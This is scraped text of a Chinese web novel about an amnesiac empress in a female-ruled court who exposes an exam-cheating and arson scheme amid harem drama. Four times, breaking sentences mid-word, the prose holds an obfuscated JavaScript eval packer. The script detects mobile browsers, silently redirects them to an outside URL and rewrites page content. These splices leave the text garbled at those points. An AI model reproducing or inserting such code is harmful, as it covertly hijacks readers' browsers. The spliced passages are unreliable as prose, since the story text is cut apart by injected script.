见裴源气息稍缓,二人这才松了一口气。 君后轻声问道:“陛下可感觉好些了?” 裴源大口喘息着,试图让自己冷静下来,也试图理清思绪。然而,那阵痛带来的恐惧如同溺水之人再次面对深海,每一次试图思考,脑海中便传来撕心裂肺的疼痛。 她无法忍受思绪失控,在尚未判断出眼前二人是敌是友之前,她几乎是本能地从君后怀中挣脱,手脚并用地爬开,恨不得离他们远远的。 君后想要追上来,乌宛白也伸手欲搀扶。 “陛下……” 裴源只是歇斯底里吼道:“滚!全都滚出去!” 殿门“咚”的一声合上,瞬间抽走了紫宸殿最后一缕光亮。殿内昏暗无比,可裴源却在这黑暗中感受到了前所未有的放松与安全感。 一门之隔外,二人神色凝重。 陆长行眸色微暗:“她今日可曾问过你什么奇怪的问题?” 语气笃定而深沉。乌宛白本欲否认,但稍作沉吟,似是想到了什么:“陛下问奴婢……一两银子能买多少个馒头。” 工部尚书今日上奏,声称凤帝欠了工部三万两银子。 去岁,贡院的砖瓦突然脱落,为保障今春入京赶考的考生安全,凤帝特命工部修缮。然而,这一修,三万两银子便打了水漂。 谁料,奏本尚未获批,贡院昨日又燃起一场大火,如今只剩一片废墟。众人纷纷嚷着重建。 工部尚书急了,前头的三万两窟窿还没填补,如今又要重建?简直是痴人说梦! 凤帝觉得有理,便下令添补。 结果太府寺卿当即跳脚,其一,国库空虚;其二,她不明白什么瓦片如此昂贵,明明一千两就能搞定的事情,工部竟花了三万两。 凤帝微微一愣,侧身与乌宛白耳语几句。乌宛白虽不明所以,仍如实回道:“回陛下,民间一文钱能买二至三个馒头,一两银子是一千文,算下来,大约能买两千至三千个馒头。” 凤帝沉吟片刻,目光玩味地落在工部尚书身上,似有所悟。 陆长行追问:“陛下最后怎么说?” 乌宛白道:“陛下说,贡院着火,烧的都是易燃物,瓦片又点不着,想必还好好留在废墟里。于是命工部将那些瓦片回收带回,不耽误贡院重建。” 陆长行愣了愣,紧蹙的眉宇瞬间舒展:“那刘丝柳岂不是要气死了?” 刘丝柳正是工部尚书的大名。想起她在大殿上气急败坏的模样,乌宛白嘴角微微上扬:“气得七窍生烟,手里的笏板都险些摔了。” 陆长行冷哼一声:“她敢!” 乌宛白笑笑:“她自然是不敢。” 两人再度默然相对。 陆长行垂眸凝视手心,仿佛仍残留着女子掌心的余温,良久,语带幽凉:“陛下记忆有失,这几日你万万留心,仔细照应。” 乌宛白瞳孔骤缩。 难怪此次醒来,凤帝性情平和,眉眼间尽失往日的阴鸷与戾气。 陛下上次失去记忆,是在初登大宝的第八个月,记忆倒退了三年。幸而心思细密,行事谨慎,待乌宛白察觉时,她的记忆已恢复了大半。 可这次情形实在不同,春闱刚刚结束,陛下似有招贤之意,朝堂上的老狐狸们本就对陛下多加设防。 乌宛白忧心忡忡,陛下自登基至今,朝政一直被权臣把持,历经三年,好不容易才有了点儿根基。此时若忘了前尘往事,这三年岂非白费心机? “君后还是要想想办法才是。”乌宛白急道。 陆长行抬首,目光穿透殿宇凝望天际。他本想看看宫外的风景,可落入眼底的只有层层叠叠的红墙绿瓦。入宫三载,他早已忘了宫外那片辽阔天地。 陆长行收回神思,安抚她道:“陛下多疑善察,纵然记忆倒退,有你在左右照应,短期内不会有什么问题。” 乌宛白不置可否,侧耳倾听,殿内早已静谧无声。 陆长行轻轻推门,殿内静谧无声,空无一人。他缓步走向御案,动作轻柔地撩起台布,案下那抹明黄的身影,不是裴源,又是谁? 松软的棉被铺在身下,她却无被可盖,只能蜷缩成一团保暖。明明身姿纤长,此时却窝成小小的一团,凤冠全部卸下,发丝凌乱不堪,却也透出一种别样的松弛与自在。 陆长行从乌宛白手中接过棉被,小心翼翼地为她盖好。随后,两人脚步轻盈,悄然退出了紫宸殿,仿佛从未进来过。 裴源是被嘈杂声吵醒的,甫一睁眼,眼前一片漆黑,歪头看着台布下那一圈明黄的光,意识还有些懵然,几乎是迷迷糊糊地爬出了御案。 陆萧玉奉旨查办贡院失火案,如今终于有了些眉目才前来禀报,却被乌尚宫连连阻拦。 她一时情急,便嚷了几声。不过片刻,殿门缓缓拉开,昔日威严凌厉的凤帝,此刻却毫不顾忌地打了一个哈欠。 酉末已至,夜幕四合,户对上悬着九盏宫灯,将殿前照得通明。 只是裴源睡眼惺忪,实在没看懂怎么回事,只伸头打量着阶下来人:“谁啊?咋地了?” 乌宛白:“……” 陛下你快闭嘴吧,不然露馅了! 索性陆萧玉未有所察,直接绕过乌宛白后利落跪地:“见过陛下,臣有要是回禀。” 乌宛白看向凤帝,女子果然一脸懵然,故急急忙忙小跑至裴源面前:“陛下,昨夜贡院起火,您尚在昏睡,君后便嘱咐凤鸣卫、陆萧玉、陆指挥使彻查此事。” 乌宛白将几个特别字眼咬的极重。 凤鸣卫?禁军的别称? 裴源不明其意,准备先听听看,于是对其招了招手,便转身进了殿内。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124169|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 御案上的烛台不知何时被点燃的,将殿通明,裴源高坐凤椅,案下光景一览无遗。来人一袭精致戎装,玄色甲胄被烛火闪的熠熠生辉,在端容貌,皮肤黝黑,龙睛虎目,身形亦是修长魁梧,一看就是难得的良卫。 就是看着有些傻气,站在那里直勾勾的盯着自己,半天也没闷出一个响屁。 裴源:“……” 乌宛白奉茶而入,一眼瞧见两人对视无言,当即尖声呵斥:“大胆!竟敢直视圣颜!” 陆萧玉视线骤然从凤帝糟乱的头上移开,扑通一声跪地:“属下冒犯,还望陛下责罚。” 裴源眉头紧皱,相较于冒犯,她更担心她的膝盖骨碎没碎。 心中虽满是疑惑,但她却一言不发。尽管只当了一天的皇帝,她已深有所悟——沉默,是她最好的保护色。它会让她显得深沉且老谋深算,即便她对眼前的情况仍是两眼一抹黑。 于是她慢条斯理地端起茶盏,轻抿了一口温茶,才淡淡打破沉默:“不是有事禀奏?” 宫中流传着这样一句话:天不怕,地不怕,就怕凤帝不说话。 所以漫长的沉默里,陆萧玉连自己死后埋哪都想好了,听到凤帝语意淡然落下,陆萧玉僵硬的身躯眼可见的松懈了几分:“陛下,经臣彻查,昨夜大火起于明经科考棚。" 说话间,她呈上手札与证物:"十七处火点同时爆发,但……青砖下的引火渠残留着蓝色粉末,正是工部曾研发的磷粉。这种材料本该用于北境城墙防冻,此刻却成了焚毁科举考场的利器。” 裴源认真倾听着她的一字一语,后又从乌宛白手里接过手札慢慢翻阅。 通读下来,总算是搞明白了怎么回事。 昨夜明经科突发大火,火势迅猛,待侍卫发现时,火势已蔓延至雕版库。 万幸下了一场暴雨,火势很快扑灭,不但保住了此次的春闱所有考生的考卷,还在仅剩下一半雕版库的废墟中发现了两具女尸,其中一女尸身上,还藏有一块雕版碎片。 陆萧玉人虽生的粗狂,可这手札写的确实极为细致。 她怀疑春闱前夕,有人深入雕版库偷取雕版,只为提前获得考题,而今考试结束,此人担心被人发现雕版遗失,故而半夜前往归还,却不想突发大火,两人逃离不及,最后惨死在贡院火场。 裴源打量着被烧成碎片的雕版,面上风平浪静,实则脑中早已乱做一团。 雕版又大又笨重,既然想偷,为何不直接偷试卷? 而且,这又和工部又有什么关系? 工部修缮贡院花了三万两白银,莫不是都花到了这个磷粉上?那工部为何要焚烧贡院?工部和贡院,这两者分明牛马不相及啊。 “陛下,”陆萧玉见凤帝沉默不语,犹豫良久,再次打破沉默:“臣还有一事禀告。” 裴源视线移向殿下女子:“说。” 陆萧玉抿了抿唇:“今日的朱雀门上,有学子留下血书——” 乌宛白眸色一凌,尚未来得及阻止,就听陆萧玉的声音落下:“凤鸣,止于惊蛰。” 5. 第 5 章 此言一出,殿内两道目光瞬时落在凤案后的女子脸上。 凤帝凌乱的发丝早已垂顺,青丝如瀑,衬得她面容愈发清冷。眸色淡然,未因那句诅咒之语显露出一丝波澜,反而静静凝视着陆萧玉。良久,才缓缓开口:“学子不远万里齐聚京城参加科举,街上纷乱亦是常情。你回去与下属说,巡防时态度和缓些,莫要与学子争执,她们自然也不会轻易出言不逊。” 乌宛白:“……” 陆萧玉脸颊微微抽动。 陛下莫不是以为,这“凤鸣”指的是凤鸣卫? 凤鸣卫乃陛下亲卫,专司护卫陛下。这京城治安与巡防,与她们并无半分干系啊! 一声轻咳打破了殿内沉寂。三道目光循声望去,陆长行不知何时立于殿门处。他低垂着头,神情静默,周身透着一种清冷的孤寂。或许是察觉到众人的目光,他微微抬手掩面,又轻咳了几声,似是染了风寒。 他本就身形消瘦,如今病态尽显,更显羸弱。宽大的月白锦袍裹在身上,非但未衬出他的身形,反显得他愈发单薄,仿佛一阵风便能将他吹散。 裴源收回视线,将奏折收拢,吩咐道:“未见仵作手札,莫要主观评断。先确认女尸死因是否死于火灾,再探其身份,深入查证。” 陆萧玉回过神来,躬身应道:“是。” 裴源又看向乌宛白:“将工部修缮贡院的账簿取来。” 乌宛白应下,与陆萧玉对视一眼,二人一前一后退出殿外。经过陆长行身侧时,陆萧玉拱手揖礼,陆长行微微颔首,视线相对一眼,方才缓步迈入殿内。 “陛下饿了吧?”陆长行福了一礼,声音温和:“北境上贡的羊排最是鲜嫩,臣取了几段,加入当归煲了汤,极补气血,陛下可要尝尝?” 北境? 又是北境? 裴源眸光微闪,心中思忖片刻,缓步下了高台,示意陆长行随自己步入内殿。 内殿早已点起明烛,虽不及现代灯光明亮,但数支油灯燃起,铜镜反射光芒,倒也照得殿内通明。 “适才听陆指挥使提及北境需用磷粉防冻,想必冬日极寒;立春刚过,她们便上贡了羊肉,也不知这漫漫冬季,羊儿靠何过活。”裴源似是无意间提起。 陆长行盛了碗汤,闻言微微一笑:“北境虽冷,但草原广袤,羊儿冬季吃干草也能养得肥壮。” 裴源了然。 原来北境是游牧之地。 她拿起汤匙舀了一口羊汤,入口鲜美,毫无膻味。 “草原广袤,必会引来边陲小国觊觎。”裴源若有所思,试探道:“镇守北境的将军,倒是费心了。” 这话听着似是随口之言,陆长行喉结微动,低声道:“昔日镇北王镇守北境数载,威名远扬,养壮了数万匹战马,练就了一批精锐之师,边陲小国不敢轻举妄动。” 镇北王? 裴源心中一动,又是一位新人物。 只是陆长行方才用了“昔日”二字,莫非此人已逝? 她不敢直接相问,只试探道:“听起来,君后对这位镇北王颇为敬仰。” 陆长行交叠的手倏地攥紧,低垂的柳叶眸瞬间抬起,落在凤帝脸上。女子神色淡然,毫无波澜,仿佛早已将镇北王忘得一干二净; 仿佛,也将他忘得一干二净。 他压下心头翻涌的情绪,几息之后才缓缓道:“儿子敬仰母亲,本是常情。” 裴源手中的汤匙顿在半空,脑中飞速运转,回想着昨夜从柳玉书口中探得的后宫诸君家世。 她忽而记起,君后父家曾因军械案全族被诛,仅留下他一人。 却不想,君后的母亲竟是镇北王? 但这说不通啊,既是诛满门的大罪,君后为何还能活下来? 哦……这里是女尊世界,先帝或许觉得男儿掀不起风浪? 不对……君后虽是男子,但毕竟是罪臣之后,岂能轻易放过?如此看来——君后在镇北王案之前,便已嫁给原主为夫,因而得以保全。 难怪柳玉书昨夜说,原主极为信任君后。 因为君后身后,除了凤帝,再无依仗。 可裴源还是觉得这理由有些牵强。 君后母亲被诛,是先帝所为;先帝是谁?是原主的母亲! 这可是灭族之仇,君后难道就不想报仇? 正深思时,窸窣的脚步引来裴源的注目。 身着深色宫服的宫女,双手捧着一个黑色木匣,缓步走了进来。 裴源眉梢微挑,这不会是…… 片刻后,宫女终于来到近前,将本就低垂的身躯压得更低,双手恭敬地将木匣呈上:“陛下,时辰已到,该翻牌子了。” 裴源:“……” 果然…… 木匣上绘着精致的龙凤呈祥图案,匣内整齐地摆放着十几块牌子,每一块皆以鎏金墨迹书写着后君的封号,字迹在烛光映照下泛起柔和的光芒。 凤眸在牌子上一一掠过,最终,视线却抬起落在了身侧君后的身上。 陆长行始终低垂着双眸,面容平和,眉目间未见半分多余情绪,仿佛对凤帝今夜择谁侍寝并不在意,只是交叠的双手不知不觉间藏在广袖内,袖口微微起伏,似在轻抚着手腕。 殿内一片静谧,宫女微微抬眸,捕捉到凤帝的目光后,瞬间了悟,轻声道:“奴婢告退。” 随即,捧着木匣,慢慢倒退出了大殿。 汤匙与汤盅的清脆碰触声再次在殿中响起,直至一碗汤饮尽,裴源才淡淡开口:“朕还有些公务要处理。” 陆长行眉宇间掠过一丝淡然,似早已预料凤帝将他视作挡箭牌,于是颔首应道:“是。” 离开紫宸殿时,夜幕已深,月光如水般倾泻而下,各宫的宫女宫侍皆在忙着伺候主子安寝,甬道上一时静谧无声。 陆长行遥望尽头,巡防的禁军在高耸的宫墙前来回穿行。他沉吟片刻,戴上宽大的兜帽,低声道:“本宫独自走走,你先回去吧。” 解安有些迟疑,但稍作思量后,还是屈身应道:“是。” 夜色如墨,漆黑斗篷在墙根下疾速穿梭,身影完全隐匿于暗影里,直至步入城楼角落,等候多时的陆萧玉才从暗处缓步而出,对来人拱手抱拳,低声道:“君后。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124170|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一册书卷从宽大的斗篷中递出,陆萧玉伸手接过,目光疑惑:“这是?” 陆长行沉声道:“二十一年前,文渊阁大火,三千古籍化为灰烬,只有这本《典制考》被一具女尸压在身下,方才幸免于难。” 陆萧玉微微蹙眉,借着月光翻阅古卷,实看不出猫腻:“这与贡院起火案有何关联?” 兜帽之下,柳叶般的眸光微沉:“那场纵火案至今未解。巧的是,当年那场大火的火势,亦呈蓝绿色。” 陆萧玉眸色愈发凝重:“工部所制磷粉,燃烧时呈蓝色光芒,燃点极低,但不至于焚烧整个贡院难,可昨夜贡院的大火的火光却呈蓝绿色,火势迅猛,难以扑灭。看来……磷粉仅是助燃物,真正引发火灾的,是其中添加的不明物。” 陆长行稍作沉吟,语气低沉:“无论添加何物,其目的皆为引发这场大火。火灾发生在春闱之后,目的更像要烧毁什么东西。” 陆萧玉沉默片刻,缓缓开口:“此次科举,陛下有意提拔寒门子弟,借此分散朝中权臣势力。为防考题泄露,特出了四套考卷,随机分发。每个考棚所用试卷,皆于临考当日由陛下钦定。” “考卷皆由国子监博士拟定,答案唯其知晓。”陆长行轻轻摩挲着腕间银镯,眉宇间隐有寒意:“考生入考院前,必须全身检查,答案肯定带不进去。如此看来,唯有……” “礼部负责分发座位,工部可借修缮之际,将考棚中指定的座次设计暗格,开考前,礼部将所有答案提前安置在考棚中。” 陆萧玉闻言,拳头紧握,愤然道:“这群王八蛋!竟将陛下一番心血付诸东流!” 陆长行抿了抿唇:“但这也花不了三万两白银啊?” 陆萧玉沉默良久,拱手道:“君后放心,卑职定当竭尽全力查明真相!还寒门学子一个清明科举!” 戌时四刻,栖梧宫灯火通明,茶案上的水凉了沸,沸了凉。又一匙白茶在杯中舒展,袅袅茶香弥漫,栖梧宫的主人终于迟迟而归。 明黄身影微微倾身,目光漫不经心地落在步入内殿的男子身上。 解安尚来不及提醒,帝后二人便已四目相对,陆长行当即怔在原地。 裴源打量着他身上未来得及脱下的黑色兜帽斗篷,拇指上的黑玉扳指重重叩指茶案,咚咚三声,声声如鼓,终将男子从愣怔中唤醒。 陆长行本欲上前行礼,却在犹豫过后低声寻问:“陛下何时来的?” 裴源语气慵懒:“不多不少,三盏茶。” 陆长行垂下眼眸,落在女子身前的茶盏上,良久,低语:“陛下需要臣解释吗?” 裴源反问:“君后想解释吗?” 陆长行稍作沉吟:“若臣不便解释,陛下会生气吗?” 裴源笑笑:“既然不便,朕何必为难?”说罢起身缓步至他的左右,意味深长道:“既然栖梧宫不欢迎朕,朕也……” 话未说完,藏在斗篷下的手骤然伸出,一把握住了女子的手臂。 裴源凤眸微挑:“君后这是何意?” 陆长行睫羽微颤,喉咙滚动,轻声说道:“……欢迎。” 6. 第 6 章 裴源久久无言,春夜露重,水汽渗入斗篷,携着一丝清冷气息,亦如男子脱俗疏离之态,给人一种距离感。 可手臂嵌固不松,到让裴源进退两难。 直至裴源侧身看向他,臂上修长的手指方才敛了几分力气缓缓松开垂下,最后,复又藏入斗篷内。 漫长的静默下,男子始终颔首,任凤眸审视打量,终于,明黄衣袖上扬,凤帝纤纤玉指拂上君后耳廓。 突如其来的举动令陆长行全身一颤,耳尖更是瞬间炽热发烫,陆长行终于抬眸迎女子的注视,凤帝姿态从容,只是舒展的眉目间匿着一丝玩味。 似在观察他的反应,又似在揣度他对自己的心思,试探之举并未停歇,指尖向下在耳珠处滞留两息后,手指合拢,轻轻捻弄,让本就炽热的耳朵终于赤红一片,眼尾的红痣更是鲜红如血,惹人注目。 炽热蔓延,脸颊很快染上一层红晕,陆长行努力抑制呼吸情绪,可柳叶眸底还是慢慢溢出水雾。 裴源眼中闪过一丝不解:“君后为何一脸委屈?” 陆长行垂下眼眸,声音微颤:“陛下已经两年五个月没有踏入栖梧宫了。” 裴源怔了片刻,一缕烦闷涌上心头,她诉不明情绪来源,只觉得心口微涩不受她的控制。 捻弄耳珠的手移向他的眼尾,轻抚着朱红小痣,裴源自嘲一般低语:“那朕可真是个混蛋。” 纤长漆黑的睫羽随着她指腹动作,轻轻颤动,男子不由抬眸,微红眼底格外动人,他轻声附和她:“是。” 裴源又是一愣,半晌后垂下手:“君后早些安寝吧。” 正要迈步,手臂却被第二次握住,男子乞求道:“别走……” “放心,朕不走。”裴源拍拍他的手以示安抚:“只是下午睡的久,现下还不困。” 陆长行这才慢慢松开了手,见凤帝直奔着方台方向而去,才终于放下心来。 裴源踏上方台,随手卸下了满头珠翠,又退下了明黄凤袍随意扔在一旁,而后姿态闲适的侧倚凭几,重新煮茶,等待水沸之际,推开了半扇窗,清冷月色倾泻而下,照亮了一尺方台。 若她的感觉没错,窗下墙内应藏着一个暗格。 裴源手握成拳,黑玉扳指轻叩面前墙壁,空鼓之音,格外鲜明。 果然,只是二年五个月未曾踏入……她为何对栖梧宫布局如此熟悉。 不知何时,袅袅青烟溢出鎏金香炉,气味很快萦绕殿中,香味清幽,使人情绪格外平静。 梳洗干净的陆长行缓缓攀上方台,起初是小心试探,见女子并未阻止,直接枕在女子腿上。 男子发丝如瀑,裴源忍不住伸手轻抚,指尖穿过发丝,格外舒适,陆长行不自觉合上了眼。 时至子时,凤帝侧卧方台沉沉睡去,身侧男子方才缓缓睁开双眼,他本想将女子抱回榻上,但抬起的手却忍不住去轻触描绘女子眉宇的轮廓,渐渐地,她的眉眼竟与他记忆里的少女慢慢重合。 十二岁那年,母卿接了先帝的诏书回京。那是陆长行第一次见到裴源,年仅十岁的她立在凝辉殿门旁,瘦得像根未长开的青竹。 先帝膝下八个皇女,那时,六殿下已封了郡主,七殿下也领了县主的名号,连刚会走路的八皇女都得了块雕花玉牌。偏行五的裴源还是个无封的王姬,腰带上只系着一条褪了色的青穗子。 陆长行自幼在北境娇惯养大,母卿是镇守北境多年的王卿,因而先帝对他也颇为宠爱。 其他皇女因着母卿的身份,纷纷来巴结讨好他。他一贯昂着头,从不把她们放在眼里。可偏偏有一个人,也不把他放在眼里——那人便是裴源。 裴源的生父本是一位舞郎,听闻生了一张极为俊美的脸庞,先帝爱其身段,宠幸了一段时日;后失了兴致,哪怕那时他已身怀有孕,还是任由其在后宫凋零。 所以昔日那些皇女总会以此讥讽裴源,辱她父君是榻上玩物,即便她身为皇女,亦低贱如尘。 裴源听了没什么反应,仿佛在说无关紧要的人;就如同见了自己,她亦没什么反应,即便自己贵为世子,可在她眼里,自己与后宫宫侍好似没什么区别。 陆长行觉得失了面子,知道她不受宠,无人为其撑腰,便总是当众为难她。 一次游猎,陆长行将她惹急了,她竟趁长随不在,直接钻入他的营帐,拔下头上的簪子抵在他眼前:“陆长行,你若再敢惹我,我就戳瞎你这双眼珠子,然后将它搅成烂泥!” 陆长行自诩是北境寒霜养出的少年,倨傲无边,气魄十足。可那日,竟被她凌厉凶狠的样子吓哭了。 陆长行那时不懂,以为自己频频欺负裴源,不过是瞧不上她;可多年后再回想,才恍然明白,他初开的情愫里,携着自傲与自负,卑劣不堪。 他很早很早之前,便已爱慕上了那个倔强的少女,所以裴源的眼里从未有过他,他才觉得那般不甘。 时过境迁,如今孑然一身的是他,高高在上的是裴源。 他再无颐指气使的资格,只能放低姿态,去求她的几分垂怜。 无论最初还是现在,唯一不变的,是她的眼中依旧没有他。仿佛他只是她的君后臣,而非她的正夫君。 而两人携手与共的那几年,竟被她忘了精光。 “阿源。”陆长行有些埋怨:“你怎么能将我忘的一干二净。” 甚至对他满心怀疑,处处防备。 心中愁绪翻涌间,他下意识紧握住了女子的手,十指紧扣之时,沉睡的女子微微蹙眉,原本松弛的掌心也下意识紧攥,似在回应着陆长行的紧握。 一夜好梦。 时至卯初,乌宛白的声音传入殿内,早已醒来的裴源才轻轻从陆长行身下抽出手臂,起榻穿戴,梳洗上朝。 日子渐渐走向正轨。 连上了几日的朝,裴源发现这朝堂似乎与她关系不大。 六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124171|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部九卿的大臣各有主张,小臣奏禀时,根本不用等她开口,大臣们便已替她做了决断。裴源初来乍到,对朝局尚不熟悉,自然不敢贸然插言,只能全程托着下巴。眼睛却一刻也不闲着,一会儿打量打量这个,一会儿瞅瞅那个。 众臣之首,是一位拄着紫檀杖的老臣。她满头花白,背脊却挺得笔直,双眼大多时候闭着,只有需要裴源决策时,才懒懒地睁开一条缝隙,给裴源建议。 她身居太师之职,众人尊称她一声“齐翁卿”。从朝堂局势来看,齐翁卿的地位可谓一人之下、万人之上,甚至可以说,她的存在能让裴源这个凤帝形同虚设。 裴源对此倒没有什么强烈反应。倘若她的决策确实有利于朝局,反而省了她不少功夫。 只可惜,人心不足,欲壑难填。 春闱过后,朝会的大事唯有一件——春闱正榜。 这日,礼部尚书捧出鎏金木匣:“此乃春闱正榜,请陛下用印。” 凤眸穿过旒冕落在木匣之上,裴源皮笑肉不笑道:“正榜人选既然是诸位爱卿齐心合力选举落定,便与朕没甚关联嘛~所以这玉玺朕便不取了,诸位爱卿联名落款后,张榜便是。” 朝堂死寂一片,不过两息,一片哗然。 礼部尚书率先出列,面色铁青,语气中带着几分指责:“陛下,正榜不盖玉玺,何来效力?陛下如此草率,是要让天下学子看朝堂笑话吗?” “陛下,您平日里不理朝政,如今连正榜都不愿过目,这天下人该如何看待我朝?” “陛下,朝堂之事全凭我们这些臣子操心。如今连玉玺都不愿盖,这朝堂还有何皇权可言?您这皇帝做得也太儿戏了吧!” “……” 众臣你一言我一语,纷纷指责凤帝草率,言语皆是轻蔑犀利,仿佛早已忘了君臣之礼。 裴源端坐凤椅,尽管殿内一片嘈杂,可她心中却无半分波动。 咚—— 终于,齐翁卿见不得这场闹剧,重重一跺紫檀杖,阵阵回响盘旋半空,喧闹的宣政殿才终于安静下来。 “春闱过后,贡院被焚,沦为废墟,重建之事拖延至今,陛下始终没有决断;礼部评判出的试卷,陛下亦无心过目。朝堂之上,臣等日夜操劳,为国家挑选栋梁,而陛下却对此视若无睹;不仅殿试无故取消,历朝以来,头榜三甲入殿亲授官职,陛下亦未召见。三甲之才,皆为天下翘楚,理应得陛下亲自嘉奖,以示朝廷对贤才的重视。然而陛下却连这最基本的礼遇都吝啬给予;而今,竟连正榜都取消加盖玉玺。” 齐翁卿痛心疾首,声声振聋发聩,字字泣血泣泪:“正榜乃国家大事,玉玺更是皇权之尊,陛下却将如此重要的礼节弃之不顾。臣不禁想问问陛下,您如此放浪形骸,不理朝政,不问国事,不尊祖制,不重贤才,您可还有为天子的威严与担当?您如此行事,难道不觉得有愧于先帝的嘱托、有愧于群臣的敬重、有愧于天下百姓吗?” 7. 第 7 章 最后一字落下,殿内余音绕梁,无数朝臣心有动容,目光直如利箭一般看向九凤宝座上的女子,仿佛注视着不共戴天的仇敌。 既无敬畏,亦无尊崇。 裴源将众臣的目光尽收眼底,沉默良久,嘴角微微上扬:“说的好,说的真好。” 她视线瞥向与九凤椅只有几步之距的齐翁卿:“只是朕有几事不明,还需齐翁卿为朕解惑。” 齐翁卿双目微眯,负手而立:“陛下请问。” 裴源道:“为何这礼部所评判出的试卷佼佼者,皆是诸位大臣的亲信耳目,天下寒门学子竟无一人在榜?” 齐翁卿微眯的双眸瞬时瞪圆,尚未来得及开口,裴源又问:“工部修缮贡院,耗费白银三万两,尚书言,半数银两用于贡院防潮。” 裴源随手抛出火场证物,直接在齐翁卿脚下:“朕却不明,防潮何需掺入硝石?” 齐翁卿眸色之中闪过一丝狐疑。 这位三朝元老,一举一动皆是朝堂表率,如今她置身未动,殿中众臣亦是一片死寂,无人出声。 “朕来告诉齐翁卿。” 裴源目光穿过旒冕,扫过众人,冷声道:“诸位爱卿羽翼已丰,各有算盘。工部趁着修缮之机,在考棚中加设暗格;国子监联合礼部,在座次排列之后,誊写四份答案藏匿其间;事后担心东窗事发,引燃排水渠中的磷粉,硝石助长火势,焚烧贡院,灭迹无踪。担心朕追责,还留下两具女尸故布疑阵。期间,无论是大理寺,还是刑部,都未曾插手过问。” 裴源轻笑,语气中带着几分讥讽:“看似公正清明的春闱科举,实则早已被诸位视作掌中玩物。诸位自导自演间,不但扩大了自己的势力范围,还将朕的天下瓜分得清清楚楚。那这朝局有朕无朕,有何紧要?诸位爱卿又何必非要拉朕入局?” 言罢,裴源起身拂袖而去,只留下一句余音:“朕每日端坐高堂,你们便视朕为摆设。既如此,大家各自去做各自的事,倒也自在痛快。” 乌宛白微微抬眸,将齐翁卿铁青的脸色收入眼底,而后开口高宣:“散——朝——” 春回大地,后宫万物复苏,绿草破土而出,带着淡淡的清香气息,仿佛能安抚人心。裴源的凤辇前往凝晖殿的路上,一抹朱红色的身影拦住了她的去路。 又是宸贵君。 此子似乎对红色情有独钟,日日蹲守裴源的必经路上,且身上熏香浓烈,即便裴源高坐凤辇,仍被他身上的香气熏得忍不住蹙眉。 “陛下,”他握住裴源的手,桃花眼眸明亮有神:“臣做了您最爱吃的桃花酥。” 宸贵君的手掌宽大,几乎将裴源的手完全包裹其中。掌心温热,生出一层细汗,两掌相握,裴源只觉黏腻无比。 裴源强压下心底的不适,轻轻抽出手,语气淡然道:“朕尚有公务在身,得空再去看你。” 谢嘉安自然不甘,眉间隐有几分不悦:“陛下拿这话哄骗了臣好几日了。” 裴源居高睨他,言辞稍冷:“你在责怪朕?” 谢嘉安脸色微变,只是语意依旧:“臣不敢,只是听闻天子一诺重如九鼎,到了臣这,却轻如鸿毛,臣难过罢了。” 凤辇之上女子眼角微蹙,良久平息,一落手指。 乌宛白极有眼色,当即轻声下令,凤辇缓缓落地。 谢嘉安瞬间展露笑颜,抬手扶着凤帝,直奔揽月阁。 谢嘉安人生的艳丽,性情也骄纵,裴源原有些不明原主因何宠爱他,直至郭嘉安几日不疲不倦的蹲守,方才明悟。 这小子性格耿直且无心机,所有心思全都写在了脸上,因而格外受疑神疑鬼的原主偏爱,还将宫中唯一建有二层阁楼的揽月阁,赐予他居住。 春来早晚空气寒凉,但郭嘉安偏爱艳丽牡丹,因而开的正艳的花卉,铺满了整个院子。春风拂面,携着阵阵清幽,裴源站在二楼,眺望宫外方向,视野的确开阔,可尽收眼底的依旧是红墙绿瓦。 “陛下~” 郭嘉安觉得无趣,和八爪鱼一般攀在裴源的身上,裴源抖动了几下,却压根撼动不了男子分毫。 裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124172|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 源:“……” 郭嘉安看出她脸上的郁闷,不气反笑:“臣在您身边,您竟只看景不看臣,您是不是不喜欢臣了。” 裴源直言:“朕被你身上的香味熏的头疼,无暇思考这么严峻的问题。” “陛下!”郭嘉安气急,骤然松开了紧攥的手,气鼓鼓的坐在茶案旁:“臣不理你了!” 